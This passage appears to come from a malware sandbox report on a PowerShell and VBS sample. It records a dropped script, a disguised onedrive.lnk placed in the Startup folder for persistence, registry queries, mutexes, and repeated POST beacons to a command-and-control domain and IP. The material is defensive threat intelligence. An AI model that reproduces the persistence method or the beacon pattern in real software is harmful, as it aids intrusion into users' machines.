Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp")5a:T5d0,Found string ".DataType="bin.base64"" (Indicator: "base64"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string ".DataType="bin.base64"" (Indicator: "base64"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp")5b:T1428,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135]5c:T51e,"powershell.exe" writes file "\device\namedpipe\srvsvc" "powershell.exe" writes file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\customdestinations\b8qji8j4jjb1pcn9i2i1.temp" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_cy4qidx5.z50.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_prcwrtqm.x2p.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\oklnkae.vbs" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "%appdata%\microsoft\windows\recent\customdestinations\b8qji8j4jjb1pcn9i2i1.temp" "powershell.exe" writes file "%temp%\__psscriptpolicytest_cy4qidx5.z50.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_prcwrtqm.x2p.psm1" "powershell.exe" writes file "%temp%\oklnkae.vbs" "wscript.exe" writes file "c:\users\%osuser%\appdata\roaming\microsoft\windows\start menu\programs\startup\onedrive.lnk" "wscript.exe" writes file "%appdata%\microsoft\windows\start menu\programs\startup\onedrive.lnk" "wscript.exe" writes file "%temp%\oklnkae.vbs" "powershell.exe" writes file "%localappdata%\microsoft\windows\powershell\startupprofiledata-noninteractive"5d:T8dc,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\INTERNET EXPLORER\MAIN") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\INTERNET EXPLORER\MAIN") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\INTERNET EXPLORER\MAIN") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL") "powershell.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_ALLOW_REVERSE_SOLIDUS_IN_USERINFO_KB932562") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL")18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"activity":{"behavior_tags":["evasive"],"file_activity":{"dropped_files":[],"extracted_files":[{"name":"oklnkae.vbs","sha256":"28e477944046442533fce2cd5a370036bc640fa894c8cab62548eb7815a1fb2a","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"verdict":"malicious"},{"name":"onedrive.lnk","sha256":"c345566fa68fb1be1843182f0dccb419c21f9b9313c872733e86f45fa87d6530","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"verdict":"undetected"},{"name":"B8QJI8J4JJB1PCN9I2I1.temp","sha256":"a5c7ac3f9c673f83fb463a8715731c544cc564a89ce598aceb5774cbf9981e5a","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"verdict":"undetected"},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"verdict":"undetected"}],"files_deleted":[],"files_written":[{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_prcwrtqm.x2p.psm1","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"%TEMP%\\oklnkae.vbs","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"PIPE\\srvsvc","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF3cb6d8.TMP","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_cy4qidx5.z50.ps1","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"\\Global??\\FltMgrMsg","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\B8QJI8J4JJB1PCN9I2I1.temp","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\onedrive.lnk","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]}]},"mutex_activity":{"mutex_created":[{"name":"Local\\SM0:5276:304:WilStaging_02","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"SM0:3076:120:WilError_01","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3076:120:WilError_01","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6036:120:WilError_01","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"SM0:5276:304:WilStaging_02","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"SM0:5276:120:WilError_01","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6036:304:WilStaging_02","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6036:120:WilError_01","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"Global\\RasPbFile","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"Local\\SM0:3076:304:WilStaging_02","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"Local\\SM0:6036:120:WilError_01","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"SM0:6036:304:WilStaging_02","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5276:304:WilStaging_02","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"SM0:3076:304:WilStaging_02","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3076:304:WilStaging_02","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3076:304:WilStaging_02","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"Local\\SM0:5276:120:WilError_01","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3076:120:WilError_01","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"Local\\SM0:6036:304:WilStaging_02","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"SM0:6036:120:WilError_01","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5276:120:WilError_01","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6036:304:WilStaging_02","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5276:120:WilError_01","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"Local\\SM0:3076:120:WilError_01","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5276:304:WilStaging_02","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]}]},"network_activity":{"contacted_hosts":[{"address":"45.61.129.29","country":"United States","port":443,"protocol":"TCP","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]}],"dns_resolutions":[{"address":"45.61.129.29","country":"United States","domain":"zoom.05ukweb.uk","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"ttl":14400}],"http_requests":[{"header":"POST /ft?topic=v258&session=742298662&isbn=5189839 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5189839"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5311006 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5311006"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5365460 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5365460"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4583623 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4968\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4583623"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4638508 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4911\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4638508"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4880955 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4880955"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4887042 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4887042"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5032424 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5032424"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5008189 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5008189"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4705246 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4705246"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4917267 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4917267"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5020314 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5020314"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5117213 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5117213"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5256423 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5256423"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4565492 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 5025\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4565492"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4571526 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 5025\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4571526"},{"header":"POST 